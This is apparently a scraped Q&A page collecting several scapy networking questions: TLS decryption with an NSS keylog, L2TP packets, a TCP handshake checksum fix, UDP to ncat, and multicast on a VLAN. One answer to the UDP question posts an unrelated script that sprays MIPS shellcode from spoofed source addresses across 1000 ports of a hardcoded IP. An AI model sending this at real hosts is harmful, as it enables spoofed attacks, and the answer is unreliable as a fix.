We Keep Coding

Decoding https traffic with scapy

I am trying to capture https traffic with scapy. So far I can see the TLS handshakes, but I am having trouble decoding the application data using a NSS keyfile. I'm using scapy 2.5.0rc2.dev39.
The structure of my script is: (1) set up the conf to point to the NSS file that will be created; (2) kick off a thread to get the sniff going; and then (3) do a https request on the main thread that generates the traffic that gets sniffed on the other thread.
I suspect my problem is a chicken-and-egg problem: I'm giving scapy the name of a file that doesn't exist yet and asking sniff to use it to decode traffic. But to generate the file, I need to generate traffic. But then it is too late to set up the sniff. And so on.
I'm basing the setup on the conf file on the code example in https://github.com/secdev/scapy/pull/3374. Is there a way to get the NSS file parsed and applied after the packets are sniffed? (Note: I have looked at https://github.com/secdev/scapy/blob/master/doc/notebooks/tls/notebook3_tls_compromised.ipynb, but that example applies the NSS file to a captured pcap file. I don't see how to apply that to my scenario. Unless I export the sniffed packets to a pcap file and then apply the now-existent NSS file to it?)
Here's my code:
from scapy.all import *
from time import sleep
from IPython import embed
myiface = 'lo'
mycount = 30
response_time_delta = 0.0
NSS_SECRETS_LOG = "secrets.log"
SERVER_HOST = "127.0.0.1"
SERVER_PORT = 8443
def analyze_https_sniffed_traffic():
# sniff traffic for mycount packets
myfilter = ""
myprn = lambda x:x.summary()
sniff_out = sniff(filter=myfilter,prn=myprn,count=mycount,iface=myiface)
# iterate through the sniffed packets to report on contents
for idx,s in enumerate(sniff_out):
print("===\npacket %d\n%s" % (idx,s.summary()))
# if we can convert to a TLS packet, print out TLS summary
if s.haslayer('IP') and hasattr(s,'load'):
tls_r = TLS(s.load)
print(tls_r.summary())
# if this is TLS application data, do a complete show
if tls_r.type == 23:
print(tls_r.show())
#embed()
return
def send_https_request_and_analyze():
import http.client, ssl
# start another thread that sniffs traffic and analyzes their contents
t = threading.Thread(target=analyze_https_sniffed_traffic)
t.start()
# use python requests to make a HTTPS query to a local server
# put SSLKEYLOGFILE into the environment so I can decode captured TLS traffic
import os; os.environ["SSLKEYLOGFILE"] = NSS_SECRETS_LOG
time.sleep(3)
# unverified context: using self signed cert, make requests happy
conn = http.client.HTTPSConnection(SERVER_HOST, SERVER_PORT, context=ssl._create_unverified_context())
conn.request('GET', '/')
r = conn.getresponse()
print("response: %s" % r.read())
# wait for the sniff thread to finish up
t.join()
load_layer("tls")
# conf commands from https://github.com/secdev/scapy/pull/3374
conf.tls_session_enable = True
conf.tls_nss_filename = NSS_SECRETS_LOG
print("scapy version: %s" % scapy.__version__)
print("conf contents:\n%s" % conf)
send_https_request_and_analyze()
Here's what I get back for the first application data packet:
===
packet 22
Ether / IP / TCP 127.0.0.1:46066 > 127.0.0.1:8443 PA / Raw
TLS None:None > None:None / TLS / TLS Application Data
###[ TLS ]###
type = application_data
version = TLS 1.2
len = 91 [deciphered_len= 91]
iv = b''
\msg \
|###[ TLS Application Data ]###
| data = '\\xce\\xd2:\\x87\\xd0\\ h\x7f\\x81C\\xbd\x1af\\xd6y\\x91\x07wnn\\xca!ji3\\xb2\\xbbT\t\\xfc\\x80F#\\x88\x13<\\x83\\xa4\x08p\\x96\\xfb\\xf7\\x875u\\xfa\\xb9\x11\\x97M\\xf9\\xf5\\xb0\\x8fR\\x8c\ue650sI/ɇop\x1d\\xe2\n\\x91"\\x80\\x91la"d\\xe5\\xa0yk\\xc2\\xfa\\xe2A\\x8d\\x8dKB'
mac = b''
pad = b''
padlen = None
None
Any ideas on how I can make this work?
PS: Shout out to the devs. Scapy is amazing.
EDIT: I tried to get a write to pcap, set the NSS file in the conf, read the pcap approach, but ran into the same problem. I think I'm running into https://github.com/secdev/scapy/issues/3722.
EDIT #2: I went through the same steps decoding the raw data in https://github.com/secdev/scapy/blob/master/doc/notebooks/tls/notebook3_tls_compromised.ipynb in the section "Decrypt a PCAP file" and it worked fine. When I compared the wireshark output for the notebook's pcap file and the one I wrote with wrpcap, I see duplicate packets. It's my PCAP file that is breaking the decrypt, I think. I'm out of time today, but I will try something along the lines of Scapy: Processing partial TLS segments and report back.

I see I didn't update this with my eventual solution. In one thread I kicked off the HTTPS request and generated the NSS key files; in another thread I sniffed the traffic, then afterwards I iterated through the packetlist, updating the session with the NSS keys and mirroring the session as needed, as described in the "Decrypting Manually" section of the Scapy TLS documentation here: https://github.com/secdev/scapy/blob/master/doc/notebooks/tls/notebook3_tls_compromised.ipynb.
Example code here: https://github.com/PollyP/scapy_tls_example

How do I send a L2TP packet in scapy?

I am actually new to scapy/networking
Like for ICMP I can send a ICMP packet/request like
srp(Ether(src=u'd2:ff:90:c5:1f:21', dst=u'9c:22:14:4f:6c:ac', type=2048)/IP(src=u'238.166.15.14', dst=u'70.74.2.83')/ICMP(type=8)/Raw(load='UZe5ICdH'),timeout=10,iface="ens192.50")
on the other side I can send a packet/reply like
srp(Ether(dst=u'd2:ff:90:c5:1f:21', src=u'9c:22:14:4f:6c:ac', type=2048)/IP(dst=u'238.166.15.14', src=u'70.74.2.83')/ICMP(type=0)/Raw(load='UZe5ICdH'),timeout=10,iface="ens192.50")
Can some one help me with L2TP ?

LT2P uses UDP packets underlying over 1701 port to communicate.
Packet structure for L2TP is as below:
Ether / IP / UDP/ L2TP / PADDING
So we will be sending a packet like
srp(Ether(src=u'12:24:52:93:c6:54', dst=u'ea:26:7c:6b:02:dc', type=2048)/IP(src=u'22.159.236.164', dst=u'182.187.41.246')/UDP(dport=1701, sport=1701)/L2TP(pkt_type=2)/Padding(load='5Z0WZ'), iface='ens192.50', timeout=5)
Here am sending a message packet over l2tp (i.e pkt_type=2). We can also send control messages too, like Start-Control-Connection-Request, Hello etc.
Reference sites:
http://docstore.mik.ua/orelly/networking_2ndEd/fire/ch14_12.htm
https://technet.microsoft.com/en-us/library/cc958047.aspx
http://www.networksorcery.com/enp/protocol/l2tp.htm

How to spoof a TCP handshake in scapy?

I was recently trying to write a Scapy script that performs a full TCP handshake. The idea was that I connect two Qemu VMs using -net socket userspace interface (which seems to handle raw IP/ethernet fine) and instruct machine B to block all input from A (to prevent it from sending the RSTs). Then, I used telnet to connect() from machine A to B and ran the following script on machine B:
#!/usr/bin/python
import scapy.all as scapy
filter = "port 31337"
iface = "eth0"
def prepare_response(t):
print("Received: %s" % repr(t))
t.src, t.dst = t.dst, t.src # swap ethernet addresses
ip = t.getlayer("IP")
ip.src, ip.dst = ip.dst, ip.src
t.dport, t.sport = t.sport, t.dport
t.ack = t.seq
t.ack += 1
syn = scapy.sniff(filter=filter, count=1, iface=iface)[0]
print(syn.sprintf('%TCP.flags%'))
syn_ack = syn
prepare_response(syn_ack)
syn_ack.getlayer("TCP").flags |= 0x10 # set the ACK flag
print(syn_ack.sprintf('%TCP.flags%'))
print("Sending: %s" % repr(syn_ack))
scapy.sendp(syn_ack, iface=iface, verbose=False)
ack = scapy.sniff(filter=filter, count=1, iface=iface)[0]
assert(ack.flags & 0x10)
The problem is that instead of receiving an ACK from A to B, I seem to get a SYN retransmission as if SYN+ACK wasn't interpreted correctly:
tcp on machine A confirms that SYN+ACK reached the machine:
05:47:03.925100 IP 10.0.0.1.39634 > debian.31337: Flags [S], seq 2426802888, win 14600, options [mss 1460,nop,nop,sackOK,nop,wscale 4], length 0
05:47:03.927515 IP debian.31337 > 10.0.0.1.39634: Flags [S.], seq 2426802888, ack 2426802889, win 14600, options [mss 1460,nop,nop,sackOK,nop,wscale 4], length 0
Here's the PCAP file from machine B's perspective in Base64 form:
1MOyoQIABAAAAAAAAAAAAP//AAABAAAAYlilUwieDgARAQAAEQEAAAEAXgAA+1JUABI0VggARQABA2UUQAD/ESrYCgAAAuAAAPsU6RTpAO/r/QAAAAAAAwAAAAUAAAE2ATUBNAEzATIBMQFlAWYBZgFmATABMAE0ATUBMAE1ATABMAEwATABMAEwATABMAEwATABMAEwATABOAFlAWYDaXA2BGFycGEAAP8AAQtkZWJpYW4tMTA5MwVsb2NhbAAA/wABATIBMAEwAjEwB2luLWFkZHLAUAD/AAHAWgANAAEAAAB4AAsESTY4NgVMSU5VWMBaAAEAAQAAAHgABAoAAALAcQAMAAEAAAB4AALAWsBaABwAAQAAAHgAEP6AAAAAAAAAUFQA//4SNFbADAAMAAEAAAB4AALAWmJYpVMJoA4AnAAAAJwAAAABAF4AAPtSVAASNFYIAEUAAI4GlEAA/xGJzgoAAAHgAAD7FOkU6QB6hFgAAIQAAAAAAQAAAAABNgE1ATQBMwEyATEBZQFmAWYBZgEwATABNAE1ATABNQEwATABMAEwATABMAEwATABMAEwATABMAEwATgBZQFmA2lwNgRhcnBhAAAMgAEAAAB4ABIKZGViaWFuLTQwNwVsb2NhbABnWKVTvIYIAEIAAABCAAAAUlQAEjRWUlQAEjRWCABFAAA0HdtAAEAGCOcKAAABCgAAAprbemmul/p8AAAAAIACOQhjsAAAAgQFtAEBBAIBAwMEZ1ilU5COCABCAAAAQgAAAFJUABI0VlJUABI0VggARQAANB3bQABABgjnCgAAAgoAAAF6aZrbrpf6fK6X+n2AEjkIY7AAAAIEBbQBAQQCAQMDBGhYpVPTfggAQgAAAEIAAABSVAASNFZSVAASNFYIAEUAADQd3EAAQAYI5goAAAEKAAACmtt6aa6X+nwAAAAAgAI5CGOwAAACBAW0AQEEAgEDAwRqWKVTrI4IAEIAAABCAAAAUlQAEjRWUlQAEjRWCABFAAA0Hd1AAEAGCOUKAAABCgAAAprbemmul/p8AAAAAIACOQhjsAAAAgQFtAEBBAIBAwME
And one from A to B's perspective:
1MOyoQIABAAAAAAAAAAAAP//AAABAAAAVVilU9NXCABCAAAAQgAAAFJUABI0VlJUABI0VggARQAANB3bQABABgjnCgAAAQoAAAKa23pprpf6fAAAAACAAjkIFCkAAAIEBbQBAQQCAQMDBFVYpVPIYAgAQgAAAEIAAABSVAASNFZSVAASNFYIAEUAADQd20AAQAYI5woAAAIKAAABemma266X+nyul/p9gBI5CGOwAAACBAW0AQEEAgEDAwRWWKVT008IAEIAAABCAAAAUlQAEjRWUlQAEjRWCABFAAA0HdxAAEAGCOYKAAABCgAAAprbemmul/p8AAAAAIACOQgUKQAAAgQFtAEBBAIBAwMEWFilU4FfCABCAAAAQgAAAFJUABI0VlJUABI0VggARQAANB3dQABABgjlCgAAAQoAAAKa23pprpf6fAAAAACAAjkIFCkAAAIEBbQBAQQCAQMDBA==
At first I thought that this is somehow related to some Linux TCP/IP quirk, so I experimented with turning off TCP timestamps and SYN cookies. I also tried increasing IP ID, which didn't help either. Both machines are running Debian 7.5 with linux-image-3.2.0-4-686-pae under qemu 1.6.2. What am I missing?

That's a checksum issue.
In the IP layer it happens to be OK since you're just swapping the source and destination addresses, but in the TCP layer the original checksum becomes wrong when you change the flags value.
The best option is to let Scapy compute the correct checksum value for you, by adding del(t[TCP].chksum) in prepare_response().

UDP packets not working for scapy?

I made a simple program that tries to send a UDP packet to my ncat server
here is the code:
from scapy.all import *
sr1(IP(dst="127.0.0.1")/UDP(dport=8080)/"TAG1")
but I get nothing from my ncat server, can someone please tell me what I am doing wrong?

when developing a network related project, i suggest you install capturing software like tcpdump or wireshark. It hepls you to see what is in the network.
To get all packets to 127.0.0.1 using tcpdump, you may use following command:
tcpdump -i eth0 "dst 127.0.0.1 and dst port 8080"

Try this
from scapy.all import *
print("Remote UDP Mips Fuzzer - Reset Shellcode")
for num in range(0,10):
data = "00" * int(str(num))
sc = "3c06432134c6fedc3c05281234a519693c04fee13484dead24020ff80101010c"
a = data+sc
for ip in range(0,255):
for port in range(0,1000):
i=IP()
i.dst="213.48.152.128" #Change this
i.src="10.0"+"."+str(ip)+"."+str(ip)
udp=UDP()
udp.sport=int(str(port))
udp.dport=int(str(port))
sendp(i/udp/a)
See how it works ?

Receiving multicast data on specific interface

tcmpdump can view all the multicast traffic to specific group and port on eth2, but my Python program cannot. The Python program, running on Ubuntu 12.04:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Multicast port is 52122
sock.bind(('', 52122))
# Interface eth2 IP is 1.2.3.4, multicast group is 6.7.8.9
mreq = socket.inet_aton('6.7.8.9')+socket.inet_aton('1.2.3.4')
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
while True:
print '\nwaiting to receive message'
data, address = sock.recvfrom(1024)
print data
When I use another program to send a multicast packet to eth2, it works and prints the packet. But it fails to see all the current multicast traffic. If I run tcpdump on eth2 on the same port and group as the above program:
sudo tcpdump -i eth2 host 6.7.8.9 and port 52122
it sees both the packets I send from another program AND all the current multicast traffic. It's output looks likes this...
# Packet sent from my other program
09:52:51.952714 IP 1.2.3.4.57940 > 6.7.8.9.52122: UDP, length 19
# Packet send from the outside world
09:52:52.143339 IP 9.9.9.9.39295 > 6.7.8.9.52122: UDP, length 62
Why can't my program see the packets from the outside world? How can I modify it (or something else) to fix this?
Edit:
I should have mentioned, the interface this going over is not eth2 but eth2.200 a VLAN. (The local IP and the tcpdump commands are all run with eth2.200, I just changed that in this question to make it simpler.) Based on this answer that could be the problem?
Edit #2:
netstat -ng when the program is running shows eth2.200 subscribed to 224.0.0.1 and 6.7.8.9`.
tshark -i eth2.200 igmp shows three repeated 1.2.3.4 -> 6.7.8.9 IGMP 46 V2 Membership Report / Join group 6.7.8.9 when the program first starts. When the program process is killed, it shows 1.2.3.4 -> 224.0.0.2 IGMP 46 V2 Leave group 6.7.8.9. There is also an infrequent 1.2.3.1 -> 224.0.0.1 IGMP 60 V2 Membership Query, general, where 1.2.3.1 is 1.2.3.4's gateway.
Not sure if it will help, but the routing table looks like:
Destination Gateway Genmask Flags MSS Window irtt Iface
0.0.0.0 1.2.5.6 0.0.0.0 UG 0 0 0 eth1
1.2.3.0 0.0.0.0 255.255.255.240 U 0 0 0 eth2.200
Thank you!

Finally! Found this question on ServerFault that addresses the same thing. Basically the kernel was not forwarding on / was filtering out the packets because it thought the sourced address was spoofed.
Changed the settings in /etc/sysctl.conf to match:
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.all.rp_filter = 0
net.ipv4.ip_forward = 1
Rebooted and everything works.